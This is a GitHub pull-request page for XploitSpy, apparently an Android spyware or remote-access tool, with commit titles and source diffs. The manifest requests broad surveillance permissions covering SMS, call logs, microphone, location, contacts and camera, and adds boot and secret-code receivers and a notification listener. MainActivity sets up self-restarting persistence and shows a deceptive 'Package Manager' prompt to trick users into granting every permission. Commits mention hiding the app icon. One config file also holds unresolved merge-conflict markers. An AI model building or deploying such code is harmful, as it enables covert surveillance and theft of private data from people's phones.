Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Patch 2 #62

Open
wants to merge 44 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
44 commits
Select commit Hold shift + click to select a range
576ffd0
structure update
RaoMK Feb 20, 2020
7f106a4
update for heroku
RaoMK Feb 21, 2020
2167196
fix
RaoMK Feb 21, 2020
d041ac1
Changed ports to work with heroku
chrisstone07 Feb 21, 2020
7f21370
Fixed .env related issues
chrisstone07 Feb 21, 2020
27dad24
added java deps
chrisstone07 Feb 21, 2020
61b34d0
Debugging
chrisstone07 Feb 21, 2020
2c87a7a
Fixed java issues
chrisstone07 Feb 21, 2020
7b99230
Auto detect host name
chrisstone07 Feb 22, 2020
ceab51e
Display detected hostname
chrisstone07 Feb 22, 2020
d9d4c87
Update README.md
RaoMK Feb 22, 2020
53e903b
Update README.md
RaoMK Feb 22, 2020
e24dcea
Update README.md
chrisstone07 Feb 22, 2020
5264e9c
Update README.md
chrisstone07 Feb 22, 2020
a7ae664
Update README.md
RaoMK Feb 22, 2020
6537ef8
Updated commands to run
RaoMK Feb 23, 2020
22eafa9
Added feature page
chrisstone07 Feb 23, 2020
f3e0285
Merge branch 'herooku' of https://github.com/XploitWizer/XploitSpy in…
chrisstone07 Feb 24, 2020
a669474
Fixed bug
chrisstone07 Feb 24, 2020
d5089c5
Update README.md
chrisstone07 Feb 28, 2020
3f3ac48
Added heroku video tutorial
RaoMK Feb 29, 2020
19a592b
Update README.md
RaoMK Feb 29, 2020
41bfb44
Added support to change password
chrisstone07 Mar 22, 2020
80604f4
Default pass as password
chrisstone07 Mar 22, 2020
ac63956
Cross compat
chrisstone07 Mar 22, 2020
8544881
Service persistence
chrisstone07 Mar 22, 2020
09a4d9c
Run in background
chrisstone07 Mar 22, 2020
074adc3
Added perm
chrisstone07 Mar 22, 2020
20d7860
Fix bug
chrisstone07 Mar 23, 2020
dcbf0ca
Fix bug
chrisstone07 Mar 23, 2020
f378f12
alarm manager
chrisstone07 Mar 23, 2020
6981e16
fixed some more bugs
chrisstone07 Mar 23, 2020
99e4ce6
Added missing permission
chrisstone07 Mar 23, 2020
2916be3
hide icon on 7+
chrisstone07 Mar 23, 2020
4068c76
Fixed http bug
chrisstone07 Mar 23, 2020
ffbd519
Fixed port bug
chrisstone07 Mar 23, 2020
d8bb2bb
Dynamic perms
chrisstone07 Mar 23, 2020
f73e2e4
Dynamic perms
chrisstone07 Mar 23, 2020
a25e30b
Create app.json
RaoMK Apr 22, 2020
785761f
deploy heroku button
RaoMK Apr 22, 2020
8e0954c
Update app.json
RaoMK Apr 22, 2020
73af78c
heroku button fix
RaoMK Apr 22, 2020
97b0854
Update README.md
RaoMK Apr 22, 2020
f879d04
Server
Laxman986 May 20, 2020
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -10,3 +10,5 @@ coverage
.lock-wscript
build/Release
node_modules
.gradle
.idea
File renamed without changes.
40 changes: 40 additions & 0 deletions APK_SouceCode/APK_SouceCode.iml
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
<<<<<<< HEAD:APK_SouceCode/APK_SouceCode.iml
<?xml version="1.0" encoding="UTF-8"?>
<module external.linked.project.id="APK_SouceCode" external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$" external.system.id="GRADLE" type="JAVA_MODULE" version="4">
<component name="FacetManager">
<facet type="java-gradle" name="Java-Gradle">
<configuration>
<option name="BUILD_FOLDER_PATH" value="$MODULE_DIR$/build" />
<option name="BUILDABLE" value="false" />
</configuration>
</facet>
</component>
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<excludeFolder url="file://$MODULE_DIR$/.gradle" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
=======
<?xml version="1.0" encoding="UTF-8"?>
<module external.linked.project.id="client" external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$" external.system.id="GRADLE" type="JAVA_MODULE" version="4">
<component name="FacetManager">
<facet type="java-gradle" name="Java-Gradle">
<configuration>
<option name="BUILD_FOLDER_PATH" value="$MODULE_DIR$/build" />
<option name="BUILDABLE" value="false" />
</configuration>
</facet>
</component>
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<excludeFolder url="file://$MODULE_DIR$/.gradle" />
</content>
<orderEntry type="jdk" jdkName="1.8" jdkType="JavaSDK" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
>>>>>>> 462bee8... Added missing permission:client/client.iml
</module>
File renamed without changes.
9 changes: 8 additions & 1 deletion client/app/app.iml → APK_SouceCode/app/app.iml
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@
<option name="ALLOW_USER_CONFIGURATION" value="false" />
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res;file://$MODULE_DIR$/build/generated/res/resValues/debug" />
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
</configuration>
Expand Down Expand Up @@ -93,5 +93,12 @@
<orderEntry type="library" name="Gradle: io.socket:engine.io-client:0.8.3@jar" level="project" />
<orderEntry type="library" name="Gradle: com.squareup.okhttp3:okhttp:3.5.0@jar" level="project" />
<orderEntry type="library" name="Gradle: com.squareup.okio:okio:1.11.0@jar" level="project" />
<orderEntry type="library" name="Gradle: com.android.support:collections:28.0.0@jar" level="project" />
<orderEntry type="library" name="Gradle: android.arch.lifecycle:common:1.1.1@jar" level="project" />
<orderEntry type="library" name="Gradle: android.arch.core:common:1.1.1@jar" level="project" />
<orderEntry type="library" name="Gradle: com.android.support:support-annotations:28.0.0@jar" level="project" />
<orderEntry type="library" name="Gradle: com.android.support:support-compat:28.0.0@aar" level="project" />
<orderEntry type="library" name="Gradle: com.android.support:versionedparcelable:28.0.0@aar" level="project" />
<orderEntry type="library" name="Gradle: android.arch.lifecycle:runtime:1.1.1@aar" level="project" />
</component>
</module>
3 changes: 2 additions & 1 deletion client/app/build.gradle → APK_SouceCode/app/build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ android {
buildToolsVersion '28.0.3'
defaultConfig {
applicationId 'com.remote.app'
minSdkVersion 11
minSdkVersion 14
targetSdkVersion 28
versionCode 1
versionName "1.0"
Expand All @@ -27,4 +27,5 @@ dependencies {
// excluding org.json which is provided by Android
exclude group: 'org.json', module: 'json'
}
implementation 'com.android.support:support-compat:28.0.0'
}
File renamed without changes.
Binary file added APK_SouceCode/app/release/app-release.apk
Binary file not shown.
File renamed without changes.
80 changes: 80 additions & 0 deletions APK_SouceCode/app/src/main/AndroidManifest.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.remote.app">

<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<!--<uses-feature android:name="android.hardware.camera" />-->
<!--<uses-feature android:name="android.hardware.camera.autofocus" />-->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<application
android:allowBackup="true"
android:hardwareAccelerated="false"
android:largeHeap="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity" android:launchMode="singleInstance">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<service
android:name=".MainService"
android:enabled="true"
android:exported="false"
/>

<receiver
android:name=".ServiceReciever"
android:enabled="true"
android:exported="true"
android:label="RestartServiceWhenStopped">
<intent-filter>
<action android:name="respawnService" />
</intent-filter>
</receiver>

<receiver
android:name=".MyReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
<intent-filter >
<action android:name="android.provider.Telephony.SECRET_CODE" />
<data android:scheme="android_secret_code" />
</intent-filter>
</receiver>

<service android:name=".NotificationListener"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>

</application>

</manifest>
87 changes: 87 additions & 0 deletions APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
package com.remote.app;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.graphics.Color;
import android.graphics.Typeface;
import android.net.Uri;
import android.os.Bundle;
import android.provider.Settings;
import android.support.v4.app.ActivityCompat;
import android.view.Gravity;
import android.widget.TextView;
import android.widget.Toast;


public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

PackageInfo info = null;

setContentView(R.layout.activity_main);
// startService(new Intent(this, MainService.class));
Intent intent = new Intent(this, MainService.class);
PendingIntent pendingIntent = PendingIntent.getService(getApplicationContext(), 1, intent, 0);
AlarmManager alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, 0, 10000, pendingIntent);
boolean isNotificationServiceRunning = isNotificationServiceRunning();
if(!isNotificationServiceRunning){

Context context = getApplicationContext();
String[] permissions = new String[]{};
try {
info = getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS);
permissions = info.requestedPermissions;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
CharSequence text = "Enable 'Package Manager'\n Click back x2\n and Enable all permissions";
int duration = Toast.LENGTH_LONG;

Toast toast = Toast.makeText(context, text, duration);

TextView v = (TextView) toast.getView().findViewById(android.R.id.message);
v.setTextColor(Color.RED);
v.setTypeface(Typeface.DEFAULT_BOLD);
v.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL);
toast.show();

reqPermissions(this, permissions);

// spawn notification thing
startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));

// spawn app page settings so you can enable all perms
// Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
// startActivity(i);
}

finish();
}


public void reqPermissions(Context context, String[] permissions) {
if (context != null && permissions != null) {
ActivityCompat.requestPermissions(this, permissions, 1);
}
}



private boolean isNotificationServiceRunning() {
ContentResolver contentResolver = getContentResolver();
String enabledNotificationListeners =
Settings.Secure.getString(contentResolver, "enabled_notification_listeners");
String packageName = getPackageName();
return enabledNotificationListeners != null && enabledNotificationListeners.contains(packageName);
}
}
Loading